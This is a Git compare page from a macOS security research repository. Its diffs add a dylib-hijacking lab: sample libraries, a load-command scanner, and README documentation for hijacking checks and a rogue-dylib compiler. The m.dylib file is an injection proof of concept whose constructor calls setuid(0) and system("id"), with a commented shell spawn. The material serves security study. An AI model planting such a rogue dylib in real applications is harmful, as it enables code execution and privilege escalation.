mirror of
https://github.com/Karmaz95/Snake_Apple.git
synced 2026-04-19 15:16:36 +02:00
Compare commits
4 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 61116a35ef | |||
| 367c1f3e21 | |||
| ada7094c2b | |||
| 3854f0f1b0 |
@@ -0,0 +1,11 @@
|
|||||||
|
//clang -dynamiclib lib1.c -o $PWD/lib1.dylib -L. -l2
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "lib1.h"
|
||||||
|
#include "lib2.h"
|
||||||
|
|
||||||
|
void callLib1Function() {
|
||||||
|
printf("Now, wer are in lib1.dylib code.\n");
|
||||||
|
printf("Press enter to enter lib2.dylib function\n");
|
||||||
|
getchar();
|
||||||
|
callLib2Function();
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#ifndef LIB1_H
|
||||||
|
#define LIB1_H
|
||||||
|
|
||||||
|
void callLib1Function();
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
//clang -dynamiclib lib2.c -o $PWD/lib2.dylib
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
void callLib2Function() {
|
||||||
|
printf("Now we are in lib2.dylib.\n");
|
||||||
|
printf("Press enter to back to executable code...\n");
|
||||||
|
getchar();
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
#ifndef LIB2_H
|
||||||
|
#define LIB2_H
|
||||||
|
|
||||||
|
void callLib2Function();
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
// clang -dynamiclib m.c -o m.dylib //-o $PWD/TARGET_DYLIB
|
||||||
|
#include <syslog.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
__attribute__((constructor))
|
||||||
|
void myconstructor(int argc, const char **argv)
|
||||||
|
{
|
||||||
|
syslog(LOG_ERR, "[+] m.dylib injected in %s\n", argv[0]);
|
||||||
|
printf("[+] m.dylib injected in %s\n", argv[0]);
|
||||||
|
setuid(0);
|
||||||
|
system("id");
|
||||||
|
//system("/bin/sh");
|
||||||
|
}
|
||||||
|
|
||||||
|
void callLib1Function(void){}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
//clang main.c -o $PWD/executable -L. -l1
|
||||||
|
//codesign -s IDENTITY --option=runtime -f executable
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "lib1.h"
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
printf("Main program\n");
|
||||||
|
printf("Press enter to call lib1.dylib function...\n");
|
||||||
|
getchar();
|
||||||
|
callLib1Function();
|
||||||
|
printf("Press Enter to exit...\n");
|
||||||
|
getchar();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
#include "mylib.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
void myFunction() {
|
||||||
|
printf("Hello from mylib!\n");
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
void my_function(); // Declare the function prototype
|
||||||
@@ -0,0 +1,6 @@
|
|||||||
|
#include "mylib.h"
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
myFunction(); // Call the function from the library
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
Executable
+1304
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,100 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import os
|
||||||
|
import lief
|
||||||
|
|
||||||
|
|
||||||
|
class MachODylibLoadCommandsFinder:
|
||||||
|
'''
|
||||||
|
Recursively crawl the system and parse Mach-O files to find DYLIB related load commands.
|
||||||
|
1. Check if the file is a Mach-O.
|
||||||
|
2. List all Load Commands.
|
||||||
|
3. Check if any DYLIB-related LC exists.
|
||||||
|
LC_LOAD_DYLIB
|
||||||
|
LC_ID_DYLIB
|
||||||
|
LC_PREBOUND_DYLIB
|
||||||
|
LC_LOAD_WEAK_DYLIB
|
||||||
|
LC_REEXPORT_DYLIB
|
||||||
|
LC_LAZY_LOAD_DYLIB
|
||||||
|
LC_LOAD_UPWARD_DYLIB
|
||||||
|
LC_RPATH
|
||||||
|
4. Print the total Mach-O files analyzed and how many DYLIB-related LCs existed.
|
||||||
|
'''
|
||||||
|
def __init__(self):
|
||||||
|
self.total_files_analyzed = 0
|
||||||
|
self.binary_dylibs = {}
|
||||||
|
self.dylib_counts = {
|
||||||
|
"LC_LOAD_DYLIB" : 0,
|
||||||
|
"LC_ID_DYLIB": 0,
|
||||||
|
"LC_PREBOUND_DYLIB": 0,
|
||||||
|
"LC_LOAD_WEAK_DYLIB": 0,
|
||||||
|
"LC_REEXPORT_DYLIB": 0,
|
||||||
|
"LC_LAZY_LOAD_DYLIB": 0,
|
||||||
|
"LC_LOAD_UPWARD_DYLIB": 0,
|
||||||
|
"LC_RPATH": 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
def parseDirectory(self, directory_path):
|
||||||
|
'''Recursively check if the path is a file. If it is, use checkIfMacho method.'''
|
||||||
|
for root, dirs, files in os.walk(directory_path):
|
||||||
|
for file in files:
|
||||||
|
file_path = os.path.join(root, file)
|
||||||
|
if os.path.isfile(file_path):
|
||||||
|
self.checkIfMacho(file_path)
|
||||||
|
|
||||||
|
def checkIfMacho(self, file_path):
|
||||||
|
binaries = lief.MachO.parse(file_path)
|
||||||
|
if binaries:
|
||||||
|
self.parseFatBinary(binaries, file_path)
|
||||||
|
|
||||||
|
def parseFatBinary(self, binaries, file_path):
|
||||||
|
for binary in binaries:
|
||||||
|
if binary.header.cpu_type == lief.MachO.CPU_TYPES.ARM64:
|
||||||
|
self.total_files_analyzed += 1
|
||||||
|
self.checkDylibLoadCommands(binary, file_path)
|
||||||
|
|
||||||
|
def checkDylibLoadCommands(self, binary, file_path):
|
||||||
|
dylib_related_lcs = {
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.LOAD_DYLIB: "LC_LOAD_DYLIB",
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.ID_DYLIB: "LC_ID_DYLIB",
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.PREBOUND_DYLIB: "LC_PREBOUND_DYLIB",
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.LOAD_WEAK_DYLIB: "LC_LOAD_WEAK_DYLIB",
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.REEXPORT_DYLIB: "LC_REEXPORT_DYLIB",
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.LAZY_LOAD_DYLIB: "LC_LAZY_LOAD_DYLIB",
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.LOAD_UPWARD_DYLIB: "LC_LOAD_UPWARD_DYLIB",
|
||||||
|
lief.MachO.LOAD_COMMAND_TYPES.RPATH: "LC_RPATH",
|
||||||
|
}
|
||||||
|
|
||||||
|
binary_dylibs_set = set()
|
||||||
|
|
||||||
|
for cmd in binary.commands:
|
||||||
|
if cmd.command in dylib_related_lcs:
|
||||||
|
lc_name = dylib_related_lcs[cmd.command]
|
||||||
|
self.dylib_counts[lc_name] += 1
|
||||||
|
binary_dylibs_set.add(lc_name)
|
||||||
|
|
||||||
|
self.binary_dylibs[file_path] = binary_dylibs_set
|
||||||
|
|
||||||
|
def print_results(self):
|
||||||
|
print(f"Total Mach-O files analyzed: {self.total_files_analyzed}")
|
||||||
|
print("DYLIB-related LC counts:")
|
||||||
|
for lc, count in self.dylib_counts.items():
|
||||||
|
print(f"{lc}: {count}")
|
||||||
|
|
||||||
|
print("\nBinary Dylibs:")
|
||||||
|
for binary, dylibs in self.binary_dylibs.items():
|
||||||
|
print(f"{binary}: {dylibs}")
|
||||||
|
|
||||||
|
def save_results(self):
|
||||||
|
with open("MachODylibLoadCommandsFinder_results.txt", "a") as f:
|
||||||
|
f.write(f"Total Mach-O files analyzed: {self.total_files_analyzed}\n")
|
||||||
|
f.write("DYLIB-related LC counts:\n")
|
||||||
|
for lc, count in self.dylib_counts.items():
|
||||||
|
f.write(f"{lc}: {count}\n")
|
||||||
|
for binary, dylibs in self.binary_dylibs.items():
|
||||||
|
f.write(f"{binary}: {', '.join(dylibs)}\n")
|
||||||
|
|
||||||
|
|
||||||
|
macho_checker = MachODylibLoadCommandsFinder()
|
||||||
|
macho_checker.parseDirectory("/")
|
||||||
|
macho_checker.print_results()
|
||||||
|
macho_checker.save_results()
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
# Snake & Apple
|
# Snake & Apple
|
||||||
|

|
||||||
The code repository for the `Snake&Apple` article series, which documents my research about macOS security.
|
The code repository for the `Snake&Apple` article series, which documents my research about macOS security.
|
||||||
|
|
||||||
Each article directory contains three subdirectories:
|
Each article directory contains three subdirectories:
|
||||||
@@ -7,29 +8,33 @@ Each article directory contains three subdirectories:
|
|||||||
* `python` - contains the latest CrimsonUroboros and other Python scripts created during research.
|
* `python` - contains the latest CrimsonUroboros and other Python scripts created during research.
|
||||||
|
|
||||||
## ARTICLES
|
## ARTICLES
|
||||||

|
|
||||||
* ☑ [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
|
* ☑ [I. Mach-O](https://karol-mazurek95.medium.com/snake-apple-i-mach-o-a8eda4b87263?sk=v2%2Ffc1cbfa4-e2d4-4387-9a82-b27191978b5b)
|
||||||
* ☑ [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
|
* ☑ [II. Code Signing](https://karol-mazurek95.medium.com/snake-apple-ii-code-signing-f0a9967b7f02?sk=v2%2Fbbc87007-89ca-4135-91d6-668b5d2fe9ae)
|
||||||
* ☑ [III. Checksec](https://karol-mazurek95.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
|
* ☑ [III. Checksec](https://karol-mazurek95.medium.com/snake-apple-iii-checksec-ed64a4b766c1?sk=v2%2Fb4b8d637-e906-4b6b-8088-ca1f893cd787)
|
||||||
* ☐ [IV. Dylibs]()
|
* ☑ [IV. Dylibs](https://karol-mazurek.medium.com/snake-apple-iv-dylibs-2c955439b94e?sk=v2%2Fdef72b7a-121a-47a1-af89-7bf53aed1ea2)
|
||||||
|
|
||||||
## TOOLS
|
## TOOLS
|
||||||
### [CrimsonUroboros](III.%20Checksec/python/CrimsonUroboros.py)
|
[CrimsonUroboros](#crimsonuroboros) • [MachOFileFinder](#machofilefinder) • [TrustCacheParser](#trustcacheparser) • [SignatureReader](#signaturereader) • [extract_cms.sh](#extract_cmssh) • [ModifyMachOFlags](#modifymachoflags) • [LCFinder](#lcfinder)
|
||||||
|
***
|
||||||
|
|
||||||
|
### [CrimsonUroboros](IV.%20Dylibs/python/CrimsonUroboros.py)
|
||||||

|

|
||||||
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
|
Core program resulting from the Snake&Apple article series for binary analysis. You may find older versions of this script in each article directory in this repository.
|
||||||
* Usage
|
* Usage
|
||||||
```console
|
```console
|
||||||
usage: CrimsonUroboros [-h] -p PATH [--file_type] [--header_flags] [--endian]
|
usage: CrimsonUroboros [-h] -p PATH [--file_type] [--header_flags] [--endian] [--header] [--load_commands] [--segments]
|
||||||
[--header] [--load_commands] [--segments] [--sections]
|
[--sections] [--symbols] [--chained_fixups] [--exports_trie] [--uuid] [--main]
|
||||||
[--symbols] [--chained_fixups] [--exports_trie] [--uuid]
|
[--encryption_info [(optional) save_path.bytes]] [--strings_section] [--all_strings]
|
||||||
[--main] [--strings_section] [--all_strings]
|
[--save_strings all_strings.txt] [--info] [--verify_signature] [--cd_info] [--cd_requirements]
|
||||||
[--save_strings all_strings.txt] [--info]
|
[--entitlements [human|xml|var]] [--extract_cms cms_signature.der]
|
||||||
[--verify_signature] [--cd_info] [--cd_requirements]
|
[--extract_certificates certificate_name] [--remove_sig unsigned_binary]
|
||||||
[--entitlements [human|xml|var]]
|
[--sign_binary [adhoc|identity_number]] [--has_pie] [--has_arc] [--is_stripped] [--has_canary]
|
||||||
[--extract_cms cms_signature.der]
|
[--has_nx_stack] [--has_nx_heap] [--has_xn] [--is_notarized] [--is_encrypted] [--has_restrict]
|
||||||
[--extract_certificates certificate_name]
|
[--is_hr] [--is_as] [--is_fort] [--has_rpath] [--checksec] [--dylibs] [--rpaths] [--rpaths_u]
|
||||||
[--remove_sig unsigned_binary]
|
[--dylibs_paths] [--dylibs_paths_u] [--broken_relative_paths]
|
||||||
[--sign_binary [adhoc|identity_number]]
|
[--dylibtree [cache_path,output_path,is_extracted]] [--dylib_id] [--reexport_paths] [--hijack_sec]
|
||||||
|
[--dylib_hijacking [cache_path]] [--prepare_dylib [target_dylib_path]]
|
||||||
|
|
||||||
Mach-O files parser for binary analysis
|
Mach-O files parser for binary analysis
|
||||||
|
|
||||||
@@ -50,36 +55,77 @@ MACH-O ARGS:
|
|||||||
--exports_trie Print Export Trie information
|
--exports_trie Print Export Trie information
|
||||||
--uuid Print UUID
|
--uuid Print UUID
|
||||||
--main Print entry point and stack size
|
--main Print entry point and stack size
|
||||||
|
--encryption_info [(optional) save_path.bytes]
|
||||||
|
Print encryption info if any. Optionally specify an output path to dump the encrypted data (if
|
||||||
|
cryptid=0, data will be in plain text)
|
||||||
--strings_section Print strings from __cstring section
|
--strings_section Print strings from __cstring section
|
||||||
--all_strings Print strings from all sections
|
--all_strings Print strings from all sections
|
||||||
--save_strings all_strings.txt
|
--save_strings all_strings.txt
|
||||||
Parse all sections, detect strings, and save them to a
|
Parse all sections, detect strings, and save them to a file
|
||||||
file
|
--info Print header, load commands, segments, sections, symbols, and strings
|
||||||
--info Print header, load commands, segments, sections,
|
|
||||||
symbols, and strings
|
|
||||||
|
|
||||||
CODE SIGNING ARGS:
|
CODE SIGNING ARGS:
|
||||||
--verify_signature Code Signature verification (if the contents of the
|
--verify_signature Code Signature verification (if the contents of the binary have been modified)
|
||||||
binary have been modified)
|
|
||||||
--cd_info Print Code Signature information
|
--cd_info Print Code Signature information
|
||||||
--cd_requirements Print Code Signature Requirements
|
--cd_requirements Print Code Signature Requirements
|
||||||
--entitlements [human|xml|var]
|
--entitlements [human|xml|var]
|
||||||
Print Entitlements in a human-readable, XML, or DER
|
Print Entitlements in a human-readable, XML, or DER format (default: human)
|
||||||
format (default: human)
|
|
||||||
--extract_cms cms_signature.der
|
--extract_cms cms_signature.der
|
||||||
Extract CMS Signature from the Code Signature and save
|
Extract CMS Signature from the Code Signature and save it to a given file
|
||||||
it to a given file
|
|
||||||
--extract_certificates certificate_name
|
--extract_certificates certificate_name
|
||||||
Extract Certificates and save them to a given file. To
|
Extract Certificates and save them to a given file. To each filename will be added an index at
|
||||||
each filename will be added an index at the end: _0 for
|
the end: _0 for signing, _1 for intermediate, and _2 for root CA certificate
|
||||||
signing, _1 for intermediate, and _2 for root CA
|
|
||||||
certificate
|
|
||||||
--remove_sig unsigned_binary
|
--remove_sig unsigned_binary
|
||||||
Save the new file on a disk with removed signature
|
Save the new file on a disk with removed signature
|
||||||
--sign_binary [adhoc|identity_number]
|
--sign_binary [adhoc|identity_number]
|
||||||
Sign binary using specified identity - use : 'security
|
Sign binary using specified identity - use : 'security find-identity -v -p codesigning' to get
|
||||||
find-identity -v -p codesigning' to get the identity.
|
the identity (default: adhoc)
|
||||||
(default: adhoc)
|
|
||||||
|
CHECKSEC ARGS:
|
||||||
|
--has_pie Check if Position-Independent Executable (PIE) is set
|
||||||
|
--has_arc Check if Automatic Reference Counting (ARC) is in use (can be false positive)
|
||||||
|
--is_stripped Check if binary is stripped
|
||||||
|
--has_canary Check if Stack Canary is in use (can be false positive)
|
||||||
|
--has_nx_stack Check if stack is non-executable (NX stack)
|
||||||
|
--has_nx_heap Check if heap is non-executable (NX heap)
|
||||||
|
--has_xn Check if binary is protected by eXecute Never (XN) ARM protection
|
||||||
|
--is_notarized Check if the application is notarized and can pass the Gatekeeper verification
|
||||||
|
--is_encrypted Check if the application is encrypted (has LC_ENCRYPTION_INFO(_64) and cryptid set to 1)
|
||||||
|
--has_restrict Check if binary has __RESTRICT segment
|
||||||
|
--is_hr Check if the Hardened Runtime is in use
|
||||||
|
--is_as Check if the App Sandbox is in use
|
||||||
|
--is_fort Check if the binary is fortified
|
||||||
|
--has_rpath Check if the binary utilise any @rpath variables
|
||||||
|
--checksec Run all checksec module options on the binary
|
||||||
|
|
||||||
|
DYLIBS ARGS:
|
||||||
|
--dylibs Print shared libraries used by specified binary with compatibility and the current version
|
||||||
|
(loading paths unresolved, like @rpath/example.dylib)
|
||||||
|
--rpaths Print all paths (resolved) that @rpath can be resolved to
|
||||||
|
--rpaths_u Print all paths (unresolved) that @rpath can be resolved to
|
||||||
|
--dylibs_paths Print absolute dylib loading paths (resolved @rpath|@executable_path|@loader_path) in order they
|
||||||
|
are searched for
|
||||||
|
--dylibs_paths_u Print unresolved dylib loading paths.
|
||||||
|
--broken_relative_paths
|
||||||
|
Print 'broken' relative paths from the binary (cases where the dylib source is specified for an
|
||||||
|
executable directory without @executable_path)
|
||||||
|
--dylibtree [cache_path,output_path,is_extracted]
|
||||||
|
Print the dynamic dependencies of a Mach-O binary recursively. You can specify the Dyld Shared
|
||||||
|
Cache path in the first argument, the output directory as the 2nd argument, and if you have
|
||||||
|
already extracted DSC in the 3rd argument (0 or 1). The output_path will be used as a base for
|
||||||
|
dylibtree. For example, to not extract DSC, use: --dylibs ",,1", or to extract from default to
|
||||||
|
default use just --dylibs or --dylibs ",,0" which will extract DSC to extracted_dyld_share_cache/
|
||||||
|
in the current directory
|
||||||
|
--dylib_id Print path from LC_ID_DYLIB
|
||||||
|
--reexport_paths Print paths from LC_REEXPORT_DLIB
|
||||||
|
--hijack_sec Check if binary is protected against Dylib Hijacking
|
||||||
|
--dylib_hijacking [cache_path]
|
||||||
|
Check for possible Direct and Indirect Dylib Hijacking loading paths. (optional) Specify the path
|
||||||
|
to the Dyld Shared Cache
|
||||||
|
--prepare_dylib [target_dylib_path]
|
||||||
|
Compile rogue dylib. (optional) Specify target_dylib_path, it will search for the imported
|
||||||
|
symbols from it in the dylib specified in the --path argument and automatically add it to the
|
||||||
|
source code of the rogue lib. Example: --path lib1.dylib --prepare_dylib /path/to/lib2.dylib
|
||||||
```
|
```
|
||||||
* Example:
|
* Example:
|
||||||
```bash
|
```bash
|
||||||
@@ -212,17 +258,29 @@ LCFinder -l macho_paths.txt --lc SEGMENT_64 2>/dev/null
|
|||||||
LCFinder -p hello --lc lc_segment_64 2>/dev/null
|
LCFinder -p hello --lc lc_segment_64 2>/dev/null
|
||||||
```
|
```
|
||||||
***
|
***
|
||||||
|
### [MachODylibLoadCommandsFinder](IV.%20Dylibs/python/MachODylibLoadCommandsFinder.py)
|
||||||
|
Designed to Recursively crawl the system and parse Mach-O files to find DYLIB related load commands.
|
||||||
|
Print the total Mach-O files analyzed and how many DYLIB-related LCs existed
|
||||||
|
* Usage:
|
||||||
|
```console
|
||||||
|
MachODylibLoadCommandsFinder 2>/dev/null
|
||||||
|
```
|
||||||
|
|
||||||
## INSTALL
|
## INSTALL
|
||||||
```
|
```
|
||||||
pip -r requirements.txt
|
pip -r requirements.txt
|
||||||
python3 -m pip install pyimg4
|
|
||||||
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64 -O /usr/local/bin/trustcache
|
wget https://github.com/CRKatri/trustcache/releases/download/v2.0/trustcache_macos_arm64 -O /usr/local/bin/trustcache
|
||||||
chmod +x /usr/local/bin/trustcache
|
chmod +x /usr/local/bin/trustcache
|
||||||
xattr -d com.apple.quarantine /usr/local/bin/trustcache
|
xattr -d com.apple.quarantine /usr/local/bin/trustcache
|
||||||
|
brew install keith/formulae/dyld-shared-cache-extractor
|
||||||
|
brew install blacktop/tap/ipsw
|
||||||
```
|
```
|
||||||
|
|
||||||
## LIMITATIONS
|
## LIMITATIONS
|
||||||
* Codesigning module(codesign wrapper) works only on macOS.
|
* Codesigning module(codesign wrapper) works only on macOS.
|
||||||
|
* `--dylib_hijacking` needs [ipsw](https://github.com/blacktop/ipsw) to be installed.
|
||||||
|
* `--dylibtree` needs the [dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor) to be installed.
|
||||||
|
|
||||||
|
|
||||||
## WHY UROBOROS?
|
## WHY UROBOROS?
|
||||||
I will write the code for each article as a class SnakeX, where X will be the article number. To make it easier for the audience to follow. Each Snake class will be a child of the previous one and infinitely "eat itself" (inherit methods of the previous class), like Uroboros.
|
I will write the code for each article as a class SnakeX, where X will be the article number. To make it easier for the audience to follow. Each Snake class will be a child of the previous one and infinitely "eat itself" (inherit methods of the previous class), like Uroboros.
|
||||||
@@ -232,9 +290,12 @@ I will write the code for each article as a class SnakeX, where X will be the ar
|
|||||||
* [XNU](https://github.com/apple-oss-distributions/xnu)
|
* [XNU](https://github.com/apple-oss-distributions/xnu)
|
||||||
* [dyld](https://github.com/apple-oss-distributions/dyld)
|
* [dyld](https://github.com/apple-oss-distributions/dyld)
|
||||||
|
|
||||||
## TODO
|
## TODO - IDEAS / IMPROVES
|
||||||
* DER Entitlements converter method - currently, only the `convert_xml_entitlements_to_dict()` method exists. I need to create a Python parser for DER-encoded entitlements.
|
* DER Entitlements converter method - currently, only the `convert_xml_entitlements_to_dict()` method exists. I need to create a Python parser for DER-encoded entitlements.
|
||||||
* SuperBlob parser - to find other blobs in Code Signature.
|
* SuperBlob parser - to find other blobs in Code Signature.
|
||||||
* Entitlements Blob parser - to check if XML and DER blobs exist.
|
* Entitlements Blob parser - to check if XML and DER blobs exist.
|
||||||
* Every method in the Snake class that use Entitlements should parse first XML > DER (currently, only XML parser exists)
|
* Every method in the Snake class that use Entitlements should parse first XML > DER (currently, only XML parser exists)
|
||||||
* After making a SuperBlob parser and CodeDirectory blob parser, modify hasHardenedRuntime to check Runtime flag by using bitmask, instead of string.
|
* After making a SuperBlob parser and CodeDirectory blob parser, modify hasHardenedRuntime to check Runtime flag by using bitmask, instead of string.
|
||||||
|
* Build Dyld Shared Cache parser and extractor to make SnakeIV independant of dyld-shared-cache-extractor.
|
||||||
|
* Add check for `CS_RESTRICT` (`0x800`) in --`checksec` to `RESTRICTED`
|
||||||
|
* Add check for `DYLIB HIJACKING` to --`checksec`
|
||||||
Reference in New Issue
Block a user